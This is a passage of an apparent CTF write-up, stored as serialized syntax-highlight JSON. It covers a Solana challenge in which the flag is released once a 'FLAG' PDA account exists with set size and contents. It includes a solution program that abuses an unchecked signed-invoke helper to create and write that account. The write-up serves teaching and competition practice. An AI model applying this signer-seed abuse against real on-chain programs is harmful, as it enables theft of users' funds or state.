}\n}\n",[42566],{"type":23,"tag":37,"props":42567,"children":42568},{"__ignoreMap":7},[42569,42653,42744,42785,42869,42876,42913,42970,43015,43030,43066,43073,43080],{"type":23,"tag":41,"props":42570,"children":42571},{"class":43,"line":44},[42572,42576,42581,42585,42589,42593,42598,42602,42606,42610,42615,42619,42624,42629,42633,42637,42641,42645,42649],{"type":23,"tag":41,"props":42573,"children":42574},{"style":64},[42575],{"type":28,"value":11784},{"type":23,"tag":41,"props":42577,"children":42578},{"style":858},[42579],{"type":28,"value":42580}," flag",{"type":23,"tag":41,"props":42582,"children":42583},{"style":170},[42584],{"type":28,"value":3017},{"type":23,"tag":41,"props":42586,"children":42587},{"style":94},[42588],{"type":28,"value":20844},{"type":23,"tag":41,"props":42590,"children":42591},{"style":170},[42592],{"type":28,"value":3479},{"type":23,"tag":41,"props":42594,"children":42595},{"style":114},[42596],{"type":28,"value":42597},"create_program_address",{"type":23,"tag":41,"props":42599,"children":42600},{"style":70},[42601],{"type":28,"value":1737},{"type":23,"tag":41,"props":42603,"children":42604},{"style":170},[42605],{"type":28,"value":855},{"type":23,"tag":41,"props":42607,"children":42608},{"style":70},[42609],{"type":28,"value":312},{"type":23,"tag":41,"props":42611,"children":42612},{"style":735},[42613],{"type":28,"value":42614},"\"FLAG\"",{"type":23,"tag":41,"props":42616,"children":42617},{"style":170},[42618],{"type":28,"value":706},{"type":23,"tag":41,"props":42620,"children":42621},{"style":114},[42622],{"type":28,"value":42623},"as_ref",{"type":23,"tag":41,"props":42625,"children":42626},{"style":70},[42627],{"type":28,"value":42628},"()], ",{"type":23,"tag":41,"props":42630,"children":42631},{"style":170},[42632],{"type":28,"value":855},{"type":23,"tag":41,"props":42634,"children":42635},{"style":70},[42636],{"type":28,"value":42203},{"type":23,"tag":41,"props":42638,"children":42639},{"style":170},[42640],{"type":28,"value":3479},{"type":23,"tag":41,"props":42642,"children":42643},{"style":70},[42644],{"type":28,"value":42459},{"type":23,"tag":41,"props":42646,"children":42647},{"style":170},[42648],{"type":28,"value":3155},{"type":23,"tag":41,"props":42650,"children":42651},{"style":70},[42652],{"type":28,"value":183},{"type":23,"tag":41,"props":42654,"children":42655},{"class":43,"line":54},[42656,42660,42664,42668,42672,42677,42681,42685,42689,42693,42697,42701,42706,42710,42715,42719,42724,42728,42732,42736,42740],{"type":23,"tag":41,"props":42657,"children":42658},{"style":58},[42659],{"type":28,"value":368},{"type":23,"tag":41,"props":42661,"children":42662},{"style":64},[42663],{"type":28,"value":27304},{"type":23,"tag":41,"props":42665,"children":42666},{"style":94},[42667],{"type":28,"value":27309},{"type":23,"tag":41,"props":42669,"children":42670},{"style":70},[42671],{"type":28,"value":1737},{"type":23,"tag":41,"props":42673,"children":42674},{"style":858},[42675],{"type":28,"value":42676},"acct",{"type":23,"tag":41,"props":42678,"children":42679},{"style":70},[42680],{"type":28,"value":866},{"type":23,"tag":41,"props":42682,"children":42683},{"style":170},[42684],{"type":28,"value":2381},{"type":23,"tag":41,"props":42686,"children":42687},{"style":858},[42688],{"type":28,"value":42034},{"type":23,"tag":41,"props":42690,"children":42691},{"style":170},[42692],{"type":28,"value":706},{"type":23,"tag":41,"props":42694,"children":42695},{"style":70},[42696],{"type":28,"value":20269},{"type":23,"tag":41,"props":42698,"children":42699},{"style":170},[42700],{"type":28,"value":706},{"type":23,"tag":41,"props":42702,"children":42703},{"style":70},[42704],{"type":28,"value":42705},"banks_client",{"type":23,"tag":41,"props":42707,"children":42708},{"style":170},[42709],{"type":28,"value":706},{"type":23,"tag":41,"props":42711,"children":42712},{"style":114},[42713],{"type":28,"value":42714},"get_account",{"type":23,"tag":41,"props":42716,"children":42717},{"style":70},[42718],{"type":28,"value":1737},{"type":23,"tag":41,"props":42720,"children":42721},{"style":858},[42722],{"type":28,"value":42723},"flag",{"type":23,"tag":41,"props":42725,"children":42726},{"style":70},[42727],{"type":28,"value":2678},{"type":23,"tag":41,"props":42729,"children":42730},{"style":170},[42731],{"type":28,"value":706},{"type":23,"tag":41,"props":42733,"children":42734},{"style":58},[42735],{"type":28,"value":32909},{"type":23,"tag":41,"props":42737,"children":42738},{"style":170},[42739],{"type":28,"value":3155},{"type":23,"tag":41,"props":42741,"children":42742},{"style":70},[42743],{"type":28,"value":102},{"type":23,"tag":41,"props":42745,"children":42746},{"class":43,"line":76},[42747,42751,42756,42760,42764,42768,42772,42776,42780],{"type":23,"tag":41,"props":42748,"children":42749},{"style":58},[42750],{"type":28,"value":2440},{"type":23,"tag":41,"props":42752,"children":42753},{"style":858},[42754],{"type":28,"value":42755}," acct",{"type":23,"tag":41,"props":42757,"children":42758},{"style":170},[42759],{"type":28,"value":706},{"type":23,"tag":41,"props":42761,"children":42762},{"style":70},[42763],{"type":28,"value":3701},{"type":23,"tag":41,"props":42765,"children":42766},{"style":170},[42767],{"type":28,"value":706},{"type":23,"tag":41,"props":42769,"children":42770},{"style":114},[42771],{"type":28,"value":9136},{"type":23,"tag":41,"props":42773,"children":42774},{"style":70},[42775],{"type":28,"value":122},{"type":23,"tag":41,"props":42777,"children":42778},{"style":170},[42779],{"type":28,"value":387},{"type":23,"tag":41,"props":42781,"children":42782},{"style":164},[42783],{"type":28,"value":42784}," 0x1337\n",{"type":23,"tag":41,"props":42786,"children":42787},{"class":43,"line":85},[42788,42793,42797,42801,42806,42810,42814,42818,42823,42827,42831,42835,42839,42843,42847,42851,42855,42860,42864],{"type":23,"tag":41,"props":42789,"children":42790},{"style":170},[42791],{"type":28,"value":42792},"        &&",{"type":23,"tag":41,"props":42794,"children":42795},{"style":94},[42796],{"type":28,"value":5860},{"type":23,"tag":41,"props":42798,"children":42799},{"style":170},[42800],{"type":28,"value":3479},{"type":23,"tag":41,"props":42802,"children":42803},{"style":114},[42804],{"type":28,"value":42805},"from_le_bytes",{"type":23,"tag":41,"props":42807,"children":42808},{"style":70},[42809],{"type":28,"value":1737},{"type":23,"tag":41,"props":42811,"children":42812},{"style":858},[42813],{"type":28,"value":42676},{"type":23,"tag":41,"props":42815,"children":42816},{"style":170},[42817],{"type":28,"value":706},{"type":23,"tag":41,"props":42819,"children":42820},{"style":70},[42821],{"type":28,"value":42822},"data[",{"type":23,"tag":41,"props":42824,"children":42825},{"style":170},[42826],{"type":28,"value":3053},{"type":23,"tag":41,"props":42828,"children":42829},{"style":164},[42830],{"type":28,"value":4078},{"type":23,"tag":41,"props":42832,"children":42833},{"style":70},[42834],{"type":28,"value":15402},{"type":23,"tag":41,"props":42836,"children":42837},{"style":170},[42838],{"type":28,"value":706},{"type":23,"tag":41,"props":42840,"children":42841},{"style":114},[42842],{"type":28,"value":26161},{"type":23,"tag":41,"props":42844,"children":42845},{"style":70},[42846],{"type":28,"value":13873},{"type":23,"tag":41,"props":42848,"children":42849},{"style":170},[42850],{"type":28,"value":706},{"type":23,"tag":41,"props":42852,"children":42853},{"style":114},[42854],{"type":28,"value":3664},{"type":23,"tag":41,"props":42856,"children":42857},{"style":70},[42858],{"type":28,"value":42859},"()) ",{"type":23,"tag":41,"props":42861,"children":42862},{"style":170},[42863],{"type":28,"value":387},{"type":23,"tag":41,"props":42865,"children":42866},{"style":164},[42867],{"type":28,"value":42868}," 0x4337\n",{"type":23,"tag":41,"props":42870,"children":42871},{"class":43,"line":105},[42872],{"type":23,"tag":41,"props":42873,"children":42874},{"style":70},[42875],{"type":28,"value":1711},{"type":23,"tag":41,"props":42877,"children":42878},{"class":43,"line":155},[42879,42884,42888,42892,42896,42901,42905,42909],{"type":23,"tag":41,"props":42880,"children":42881},{"style":114},[42882],{"type":28,"value":42883},"        writeln!",{"type":23,"tag":41,"props":42885,"children":42886},{"style":70},[42887],{"type":28,"value":1737},{"type":23,"tag":41,"props":42889,"children":42890},{"style":858},[42891],{"type":28,"value":41929},{"type":23,"tag":41,"props":42893,"children":42894},{"style":70},[42895],{"type":28,"value":970},{"type":23,"tag":41,"props":42897,"children":42898},{"style":735},[42899],{"type":28,"value":42900},"\"congrats!\"",{"type":23,"tag":41,"props":42902,"children":42903},{"style":70},[42904],{"type":28,"value":2678},{"type":23,"tag":41,"props":42906,"children":42907},{"style":170},[42908],{"type":28,"value":3155},{"type":23,"tag":41,"props":42910,"children":42911},{"style":70},[42912],{"type":28,"value":183},{"type":23,"tag":41,"props":42914,"children":42915},{"class":43,"line":186},[42916,42920,42924,42929,42933,42937,42941,42945,42950,42954,42958,42962,42966],{"type":23,"tag":41,"props":42917,"children":42918},{"style":58},[42919],{"type":28,"value":3272},{"type":23,"tag":41,"props":42921,"children":42922},{"style":64},[42923],{"type":28,"value":27304},{"type":23,"tag":41,"props":42925,"children":42926},{"style":94},[42927],{"type":28,"value":42928}," Ok",{"type":23,"tag":41,"props":42930,"children":42931},{"style":70},[42932],{"type":28,"value":1737},{"type":23,"tag":41,"props":42934,"children":42935},{"style":858},[42936],{"type":28,"value":42723},{"type":23,"tag":41,"props":42938,"children":42939},{"style":70},[42940],{"type":28,"value":866},{"type":23,"tag":41,"props":42942,"children":42943},{"style":170},[42944],{"type":28,"value":2381},{"type":23,"tag":41,"props":42946,"children":42947},{"style":70},[42948],{"type":28,"value":42949}," env",{"type":23,"tag":41,"props":42951,"children":42952},{"style":170},[42953],{"type":28,"value":3479},{"type":23,"tag":41,"props":42955,"children":42956},{"style":114},[42957],{"type":28,"value":35041},{"type":23,"tag":41,"props":42959,"children":42960},{"style":70},[42961],{"type":28,"value":1737},{"type":23,"tag":41,"props":42963,"children":42964},{"style":735},[42965],{"type":28,"value":42614},{"type":23,"tag":41,"props":42967,"children":42968},{"style":70},[42969],{"type":28,"value":152},{"type":23,"tag":41,"props":42971,"children":42972},{"class":43,"line":195},[42973,42978,42982,42986,42990,42995,42999,43003,43007,43011],{"type":23,"tag":41,"props":42974,"children":42975},{"style":114},[42976],{"type":28,"value":42977},"            writeln!",{"type":23,"tag":41,"props":42979,"children":42980},{"style":70},[42981],{"type":28,"value":1737},{"type":23,"tag":41,"props":42983,"children":42984},{"style":858},[42985],{"type":28,"value":41929},{"type":23,"tag":41,"props":42987,"children":42988},{"style":70},[42989],{"type":28,"value":970},{"type":23,"tag":41,"props":42991,"children":42992},{"style":735},[42993],{"type":28,"value":42994},"\"flag: {:?}\"",{"type":23,"tag":41,"props":42996,"children":42997},{"style":70},[42998],{"type":28,"value":970},{"type":23,"tag":41,"props":43000,"children":43001},{"style":858},[43002],{"type":28,"value":42723},{"type":23,"tag":41,"props":43004,"children":43005},{"style":70},[43006],{"type":28,"value":2678},{"type":23,"tag":41,"props":43008,"children":43009},{"style":170},[43010],{"type":28,"value":3155},{"type":23,"tag":41,"props":43012,"children":43013},{"style":70},[43014],{"type":28,"value":183},{"type":23,"tag":41,"props":43016,"children":43017},{"class":43,"line":905},[43018,43022,43026],{"type":23,"tag":41,"props":43019,"children":43020},{"style":70},[43021],{"type":28,"value":3310},{"type":23,"tag":41,"props":43023,"children":43024},{"style":58},[43025],{"type":28,"value":3315},{"type":23,"tag":41,"props":43027,"children":43028},{"style":70},[43029],{"type":28,"value":102},{"type":23,"tag":41,"props":43031,"children":43032},{"class":43,"line":922},[43033,43037,43041,43045,43049,43054,43058,43062],{"type":23,"tag":41,"props":43034,"children":43035},{"style":114},[43036],{"type":28,"value":42977},{"type":23,"tag":41,"props":43038,"children":43039},{"style":70},[43040],{"type":28,"value":1737},{"type":23,"tag":41,"props":43042,"children":43043},{"style":858},[43044],{"type":28,"value":41929},{"type":23,"tag":41,"props":43046,"children":43047},{"style":70},[43048],{"type":28,"value":970},{"type":23,"tag":41,"props":43050,"children":43051},{"style":735},[43052],{"type":28,"value":43053},"\"flag not found, please contact admin\"",{"type":23,"tag":41,"props":43055,"children":43056},{"style":70},[43057],{"type":28,"value":2678},{"type":23,"tag":41,"props":43059,"children":43060},{"style":170},[43061],{"type":28,"value":3155},{"type":23,"tag":41,"props":43063,"children":43064},{"style":70},[43065],{"type":28,"value":183},{"type":23,"tag":41,"props":43067,"children":43068},{"class":43,"line":930},[43069],{"type":23,"tag":41,"props":43070,"children":43071},{"style":70},[43072],{"type":28,"value":3347},{"type":23,"tag":41,"props":43074,"children":43075},{"class":43,"line":939},[43076],{"type":23,"tag":41,"props":43077,"children":43078},{"style":70},[43079],{"type":28,"value":192},{"type":23,"tag":41,"props":43081,"children":43082},{"class":43,"line":947},[43083],{"type":23,"tag":41,"props":43084,"children":43085},{"style":70},[43086],{"type":28,"value":201},{"type":23,"tag":446,"props":43088,"children":43090},{"id":43089},"solution-idea",[43091],{"type":28,"value":43092},"Solution Idea",{"type":23,"tag":24,"props":43094,"children":43095},{},[43096,43098,43103],{"type":28,"value":43097},"You may think it's impossible to do with just one instruction, but we can actually leverage the ",{"type":23,"tag":37,"props":43099,"children":43101},{"className":43100},[],[43102],{"type":28,"value":35676},{"type":28,"value":43104}," function to execute infinite instructions. Well -- not entirely infinite, as we are limited by the amount of data we can pass to the on-chain program, and by the maximum stack depth of the Solana VM -- but we can execute up to 64 instructions, which is more than enough to get the flag.",{"type":23,"tag":24,"props":43106,"children":43107},{},[43108,43110,43116],{"type":28,"value":43109},"In order to get the flag, we need to make sure that the account at ",{"type":23,"tag":37,"props":43111,"children":43113},{"className":43112},[],[43114],{"type":28,"value":43115},"PDA(\"FLAG\")",{"type":28,"value":43117}," exists, has a data length of 0x1337, and the first 8 bytes are equal to 0x4337.",{"type":23,"tag":24,"props":43119,"children":43120},{},[43121,43123,43130],{"type":28,"value":43122},"Essentially, we need to ",{"type":23,"tag":458,"props":43124,"children":43127},{"href":43125,"rel":43126},"https://docs.solana.com/developing/runtime-facilities/programs#system-program",[462],[43128],{"type":28,"value":43129},"invoke the System Program",{"type":28,"value":43131},", and write controlled data into the newly created account.",{"type":23,"tag":24,"props":43133,"children":43134},{},[43135],{"type":28,"value":43136},"A sample program that does this is as follows:",{"type":23,"tag":31,"props":43138,"children":43140},{"className":2982,"code":43139,"language":2981,"meta":7,"style":7},"pub fn process_instruction(\n    program_id: &Pubkey,\n    accounts: &[AccountInfo],\n    data: &[u8]\n) -> ProgramResult {\n    let flag_pda_ai = &accounts[0];\n    let user_ai = &accounts[1];\n\n    // Step 1: Create a new account with 0x1337 bytes of data\n    let instruction = Instruction::new_with_bincode(\n        system_program::ID,\n        &SystemInstruction::CreateAccount {\n            space: 0x1337,\n            lamports: Rent::default().minimum_balance(0x1337),\n            owner: chall::ID\n        },\n        vec![\n            AccountMeta::new(*user_ai.key, true),\n            AccountMeta::new(*flag_pda_ai.key, true),\n        ],\n    );\n    invoke_signed_unchecked(\n        &instruction,\n        &[\n            user_ai.clone(),\n            flag_pda_ai.clone(),\n        ],\n        &[&[\"FLAG\".as_ref()]],\n    )?;\n\n    // Step 2: Write 0x4337 to the first 8 bytes of the account\n    flag_pda_ai.try_borrow_mut_data()?[..8].copy_from_slice(&0x4337u64.to_le_bytes());\n\n    Ok(())\n}\n",[43141],{"type":23,"tag":37,"props":43142,"children":43143},{"__ignoreMap":7},[43144,43164,43188,43216,43244,43264,43300,43336,43343,43351,43384,43401,43426,43447,43499,43524,43531,43544,43590,43634,43642,43650,43661,43677,43688,43708,43728,43735,43771,43786,43793,43801,43880,43887,43898],{"type":23,"tag":41,"props":43145,"children":43146},{"class":43,"line":44},[43147,43151,43155,43160],{"type":23,"tag":41,"props":43148,"children":43149},{"style":64},[43150],{"type":28,"value":13685},{"type":23,"tag":41,"props":43152,"children":43153},{"style":64},[43154],{"type":28,"value":13690},{"type":23,"tag":41,"props":43156,"children":43157},{"style":114},[43158],{"type":28,"value":43159}," process_instruction",{"type":23,"tag":41,"props":43161,"children":43162},{"style":70},[43163],{"type":28,"value":3461},{"type":23,"tag":41,"props":43165,"children":43166},{"class":43,"line":54},[43167,43172,43176,43180,43184],{"type":23,"tag":41,"props":43168,"children":43169},{"style":858},[43170],{"type":28,"value":43171},"    program_id",{"type":23,"tag":41,"props":43173,"children":43174},{"style":170},[43175],{"type":28,"value":1474},{"type":23,"tag":41,"props":43177,"children":43178},{"style":170},[43179],{"type":28,"value":7140},{"type":23,"tag":41,"props":43181,"children":43182},{"style":94},[43183],{"type":28,"value":21385},{"type":23,"tag":41,"props":43185,"children":43186},{"style":70},[43187],{"type":28,"value":3506},{"type":23,"tag":41,"props":43189,"children":43190},{"class":43,"line":76},[43191,43196,43200,43204,43208,43212],{"type":23,"tag":41,"props":43192,"children":43193},{"style":858},[43194],{"type":28,"value":43195},"    accounts",{"type":23,"tag":41,"props":43197,"children":43198},{"style":170},[43199],{"type":28,"value":1474},{"type":23,"tag":41,"props":43201,"children":43202},{"style":170},[43203],{"type":28,"value":7140},{"type":23,"tag":41,"props":43205,"children":43206},{"style":70},[43207],{"type":28,"value":312},{"type":23,"tag":41,"props":43209,"children":43210},{"style":94},[43211],{"type":28,"value":14930},{"type":23,"tag":41,"props":43213,"children":43214},{"style":70},[43215],{"type":28,"value":14255},{"type":23,"tag":41,"props":43217,"children":43218},{"class":43,"line":85},[43219,43224,43228,43232,43236,43240],{"type":23,"tag":41,"props":43220,"children":43221},{"style":858},[43222],{"type":28,"value":43223},"    data",{"type":23,"tag":41,"props":43225,"children":43226},{"style":170},[43227],{"type":28,"value":1474},{"type":23,"tag":41,"props":43229,"children":43230},{"style":170},[43231],{"type":28,"value":7140},{"type":23,"tag":41,"props":43233,"children":43234},{"style":70},[43235],{"type":28,"value":312},{"type":23,"tag":41,"props":43237,"children":43238},{"style":94},[43239],{"type":28,"value":3419},{"type":23,"tag":41,"props":43241,"children":43242},{"style":70},[43243],{"type":28,"value":11769},{"type":23,"tag":41,"props":43245,"children":43246},{"class":43,"line":105},[43247,43251,43255,43260],{"type":23,"tag":41,"props":43248,"children":43249},{"style":70},[43250],{"type":28,"value":866},{"type":23,"tag":41,"props":43252,"children":43253},{"style":170},[43254],{"type":28,"value":2453},{"type":23,"tag":41,"props":43256,"children":43257},{"style":94},[43258],{"type":28,"value":43259}," ProgramResult",{"type":23,"tag":41,"props":43261,"children":43262},{"style":70},[43263],{"type":28,"value":102},{"type":23,"tag":41,"props":43265,"children":43266},{"class":43,"line":155},[43267,43271,43276,43280,43284,43288,43292,43296],{"type":23,"tag":41,"props":43268,"children":43269},{"style":64},[43270],{"type":28,"value":3002},{"type":23,"tag":41,"props":43272,"children":43273},{"style":858},[43274],{"type":28,"value":43275}," flag_pda_ai",{"type":23,"tag":41,"props":43277,"children":43278},{"style":170},[43279],{"type":28,"value":3017},{"type":23,"tag":41,"props":43281,"children":43282},{"style":170},[43283],{"type":28,"value":7140},{"type":23,"tag":41,"props":43285,"children":43286},{"style":858},[43287],{"type":28,"value":14667},{"type":23,"tag":41,"props":43289,"children":43290},{"style":70},[43291],{"type":28,"value":312},{"type":23,"tag":41,"props":43293,"children":43294},{"style":164},[43295],{"type":28,"value":4024},{"type":23,"tag":41,"props":43297,"children":43298},{"style":70},[43299],{"type":28,"value":31568},{"type":23,"tag":41,"props":43301,"children":43302},{"class":43,"line":186},[43303,43307,43312,43316,43320,43324,43328,43332],{"type":23,"tag":41,"props":43304,"children":43305},{"style":64},[43306],{"type":28,"value":3002},{"type":23,"tag":41,"props":43308,"children":43309},{"style":858},[43310],{"type":28,"value":43311}," user_ai",{"type":23,"tag":41,"props":43313,"children":43314},{"style":170},[43315],{"type":28,"value":3017},{"type":23,"tag":41,"props":43317,"children":43318},{"style":170},[43319],{"type":28,"value":7140},{"type":23,"tag":41,"props":43321,"children":43322},{"style":858},[43323],{"type":28,"value":14667},{"type":23,"tag":41,"props":43325,"children":43326},{"style":70},[43327],{"type":28,"value":312},{"type":23,"tag":41,"props":43329,"children":43330},{"style":164},[43331],{"type":28,"value":317},{"type":23,"tag":41,"props":43333,"children":43334},{"style":70},[43335],{"type":28,"value":31568},{"type":23,"tag":41,"props":43337,"children":43338},{"class":43,"line":195},[43339],{"type":23,"tag":41,"props":43340,"children":43341},{"emptyLinePlaceholder":18},[43342],{"type":28,"value":82},{"type":23,"tag":41,"props":43344,"children":43345},{"class":43,"line":905},[43346],{"type":23,"tag":41,"props":43347,"children":43348},{"style":48},[43349],{"type":28,"value":43350},"    // Step 1: Create a new account with 0x1337 bytes of data\n",{"type":23,"tag":41,"props":43352,"children":43353},{"class":43,"line":922},[43354,43358,43363,43367,43371,43375,43380],{"type":23,"tag":41,"props":43355,"children":43356},{"style":64},[43357],{"type":28,"value":3002},{"type":23,"tag":41,"props":43359,"children":43360},{"style":858},[43361],{"type":28,"value":43362}," instruction",{"type":23,"tag":41,"props":43364,"children":43365},{"style":170},[43366],{"type":28,"value":3017},{"type":23,"tag":41,"props":43368,"children":43369},{"style":94},[43370],{"type":28,"value":41002},{"type":23,"tag":41,"props":43372,"children":43373},{"style":170},[43374],{"type":28,"value":3479},{"type":23,"tag":41,"props":43376,"children":43377},{"style":114},[43378],{"type":28,"value":43379},"new_with_bincode",{"type":23,"tag":41,"props":43381,"children":43382},{"style":70},[43383],{"type":28,"value":3461},{"type":23,"tag":41,"props":43385,"children":43386},{"class":43,"line":930},[43387,43392,43396],{"type":23,"tag":41,"props":43388,"children":43389},{"style":70},[43390],{"type":28,"value":43391},"        system_program",{"type":23,"tag":41,"props":43393,"children":43394},{"style":170},[43395],{"type":28,"value":3479},{"type":23,"tag":41,"props":43397,"children":43398},{"style":70},[43399],{"type":28,"value":43400},"ID,\n",{"type":23,"tag":41,"props":43402,"children":43403},{"class":43,"line":939},[43404,43408,43413,43417,43422],{"type":23,"tag":41,"props":43405,"children":43406},{"style":170},[43407],{"type":28,"value":3469},{"type":23,"tag":41,"props":43409,"children":43410},{"style":70},[43411],{"type":28,"value":43412},"SystemInstruction",{"type":23,"tag":41,"props":43414,"children":43415},{"style":170},[43416],{"type":28,"value":3479},{"type":23,"tag":41,"props":43418,"children":43419},{"style":94},[43420],{"type":28,"value":43421},"CreateAccount",{"type":23,"tag":41,"props":43423,"children":43424},{"style":70},[43425],{"type":28,"value":102},{"type":23,"tag":41,"props":43427,"children":43428},{"class":43,"line":947},[43429,43434,43438,43443],{"type":23,"tag":41,"props":43430,"children":43431},{"style":858},[43432],{"type":28,"value":43433},"            space",{"type":23,"tag":41,"props":43435,"children":43436},{"style":170},[43437],{"type":28,"value":1474},{"type":23,"tag":41,"props":43439,"children":43440},{"style":164},[43441],{"type":28,"value":43442}," 0x1337",{"type":23,"tag":41,"props":43444,"children":43445},{"style":70},[43446],{"type":28,"value":3506},{"type":23,"tag":41,"props":43448,"children":43449},{"class":43,"line":985},[43450,43455,43459,43464,43468,43473,43477,43481,43486,43490,43495],{"type":23,"tag":41,"props":43451,"children":43452},{"style":858},[43453],{"type":28,"value":43454},"            lamports",{"type":23,"tag":41,"props":43456,"children":43457},{"style":170},[43458],{"type":28,"value":1474},{"type":23,"tag":41,"props":43460,"children":43461},{"style":70},[43462],{"type":28,"value":43463}," Rent",{"type":23,"tag":41,"props":43465,"children":43466},{"style":170},[43467],{"type":28,"value":3479},{"type":23,"tag":41,"props":43469,"children":43470},{"style":114},[43471],{"type":28,"value":43472},"default",{"type":23,"tag":41,"props":43474,"children":43475},{"style":70},[43476],{"type":28,"value":13873},{"type":23,"tag":41,"props":43478,"children":43479},{"style":170},[43480],{"type":28,"value":706},{"type":23,"tag":41,"props":43482,"children":43483},{"style":114},[43484],{"type":28,"value":43485},"minimum_balance",{"type":23,"tag":41,"props":43487,"children":43488},{"style":70},[43489],{"type":28,"value":1737},{"type":23,"tag":41,"props":43491,"children":43492},{"style":164},[43493],{"type":28,"value":43494},"0x1337",{"type":23,"tag":41,"props":43496,"children":43497},{"style":70},[43498],{"type":28,"value":6735},{"type":23,"tag":41,"props":43500,"children":43501},{"class":43,"line":1058},[43502,43507,43511,43515,43519],{"type":23,"tag":41,"props":43503,"children":43504},{"style":858},[43505],{"type":28,"value":43506},"            owner",{"type":23,"tag":41,"props":43508,"children":43509},{"style":170},[43510],{"type":28,"value":1474},{"type":23,"tag":41,"props":43512,"children":43513},{"style":70},[43514],{"type":28,"value":42034},{"type":23,"tag":41,"props":43516,"children":43517},{"style":170},[43518],{"type":28,"value":3479},{"type":23,"tag":41,"props":43520,"children":43521},{"style":70},[43522],{"type":28,"value":43523},"ID\n",{"type":23,"tag":41,"props":43525,"children":43526},{"class":43,"line":1084},[43527],{"type":23,"tag":41,"props":43528,"children":43529},{"style":70},[43530],{"type":28,"value":25372},{"type":23,"tag":41,"props":43532,"children":43533},{"class":43,"line":1102},[43534,43539],{"type":23,"tag":41,"props":43535,"children":43536},{"style":114},[43537],{"type":28,"value":43538},"        vec!",{"type":23,"tag":41,"props":43540,"children":43541},{"style":70},[43542],{"type":28,"value":43543},"[\n",{"type":23,"tag":41,"props":43545,"children":43546},{"class":43,"line":1110},[43547,43552,43556,43560,43564,43568,43573,43577,43582,43586],{"type":23,"tag":41,"props":43548,"children":43549},{"style":70},[43550],{"type":28,"value":43551},"            AccountMeta",{"type":23,"tag":41,"props":43553,"children":43554},{"style":170},[43555],{"type":28,"value":3479},{"type":23,"tag":41,"props":43557,"children":43558},{"style":114},[43559],{"type":28,"value":15114},{"type":23,"tag":41,"props":43561,"children":43562},{"style":70},[43563],{"type":28,"value":1737},{"type":23,"tag":41,"props":43565,"children":43566},{"style":170},[43567],{"type":28,"value":377},{"type":23,"tag":41,"props":43569,"children":43570},{"style":858},[43571],{"type":28,"value":43572},"user_ai",{"type":23,"tag":41,"props":43574,"children":43575},{"style":170},[43576],{"type":28,"value":706},{"type":23,"tag":41,"props":43578,"children":43579},{"style":70},[43580],{"type":28,"value":43581},"key, ",{"type":23,"tag":41,"props":43583,"children":43584},{"style":64},[43585],{"type":28,"value":3996},{"type":23,"tag":41,"props":43587,"children":43588},{"style":70},[43589],{"type":28,"value":6735},{"type":23,"tag":41,"props":43591,"children":43592},{"class":43,"line":1118},[43593,43597,43601,43605,43609,43613,43618,43622,43626,43630],{"type":23,"tag":41,"props":43594,"children":43595},{"style":70},[43596],{"type":28,"value":43551},{"type":23,"tag":41,"props":43598,"children":43599},{"style":170},[43600],{"type":28,"value":3479},{"type":23,"tag":41,"props":43602,"children":43603},{"style":114},[43604],{"type":28,"value":15114},{"type":23,"tag":41,"props":43606,"children":43607},{"style":70},[43608],{"type":28,"value":1737},{"type":23,"tag":41,"props":43610,"children":43611},{"style":170},[43612],{"type":28,"value":377},{"type":23,"tag":41,"props":43614,"children":43615},{"style":858},[43616],{"type":28,"value":43617},"flag_pda_ai",{"type":23,"tag":41,"props":43619,"children":43620},{"style":170},[43621],{"type":28,"value":706},{"type":23,"tag":41,"props":43623,"children":43624},{"style":70},[43625],{"type":28,"value":43581},{"type":23,"tag":41,"props":43627,"children":43628},{"style":64},[43629],{"type":28,"value":3996},{"type":23,"tag":41,"props":43631,"children":43632},{"style":70},[43633],{"type":28,"value":6735},{"type":23,"tag":41,"props":43635,"children":43636},{"class":43,"line":1137},[43637],{"type":23,"tag":41,"props":43638,"children":43639},{"style":70},[43640],{"type":28,"value":43641},"        ],\n",{"type":23,"tag":41,"props":43643,"children":43644},{"class":43,"line":1163},[43645],{"type":23,"tag":41,"props":43646,"children":43647},{"style":70},[43648],{"type":28,"value":43649},"    );\n",{"type":23,"tag":41,"props":43651,"children":43652},{"class":43,"line":1188},[43653,43657],{"type":23,"tag":41,"props":43654,"children":43655},{"style":114},[43656],{"type":28,"value":41119},{"type":23,"tag":41,"props":43658,"children":43659},{"style":70},[43660],{"type":28,"value":3461},{"type":23,"tag":41,"props":43662,"children":43663},{"class":43,"line":1979},[43664,43668,43673],{"type":23,"tag":41,"props":43665,"children":43666},{"style":170},[43667],{"type":28,"value":3469},{"type":23,"tag":41,"props":43669,"children":43670},{"style":858},[43671],{"type":28,"value":43672},"instruction",{"type":23,"tag":41,"props":43674,"children":43675},{"style":70},[43676],{"type":28,"value":3506},{"type":23,"tag":41,"props":43678,"children":43679},{"class":43,"line":2002},[43680,43684],{"type":23,"tag":41,"props":43681,"children":43682},{"style":170},[43683],{"type":28,"value":3469},{"type":23,"tag":41,"props":43685,"children":43686},{"style":70},[43687],{"type":28,"value":43543},{"type":23,"tag":41,"props":43689,"children":43690},{"class":43,"line":3835},[43691,43696,43700,43704],{"type":23,"tag":41,"props":43692,"children":43693},{"style":858},[43694],{"type":28,"value":43695},"            user_ai",{"type":23,"tag":41,"props":43697,"children":43698},{"style":170},[43699],{"type":28,"value":706},{"type":23,"tag":41,"props":43701,"children":43702},{"style":114},[43703],{"type":28,"value":15411},{"type":23,"tag":41,"props":43705,"children":43706},{"style":70},[43707],{"type":28,"value":3489},{"type":23,"tag":41,"props":43709,"children":43710},{"class":43,"line":3895},[43711,43716,43720,43724],{"type":23,"tag":41,"props":43712,"children":43713},{"style":858},[43714],{"type":28,"value":43715},"            flag_pda_ai",{"type":23,"tag":41,"props":43717,"children":43718},{"style":170},[43719],{"type":28,"value":706},{"type":23,"tag":41,"props":43721,"children":43722},{"style":114},[43723],{"type":28,"value":15411},{"type":23,"tag":41,"props":43725,"children":43726},{"style":70},[43727],{"type":28,"value":3489},{"type":23,"tag":41,"props":43729,"children":43730},{"class":43,"line":9044},[43731],{"type":23,"tag":41,"props":43732,"children":43733},{"style":70},[43734],{"type":28,"value":43641},{"type":23,"tag":41,"props":43736,"children":43737},{"class":43,"line":9061},[43738,43742,43746,43750,43754,43758,43762,43766],{"type":23,"tag":41,"props":43739,"children":43740},{"style":170},[43741],{"type":28,"value":3469},{"type":23,"tag":41,"props":43743,"children":43744},{"style":70},[43745],{"type":28,"value":312},{"type":23,"tag":41,"props":43747,"children":43748},{"style":170},[43749],{"type":28,"value":855},{"type":23,"tag":41,"props":43751,"children":43752},{"style":70},[43753],{"type":28,"value":312},{"type":23,"tag":41,"props":43755,"children":43756},{"style":735},[43757],{"type":28,"value":42614},{"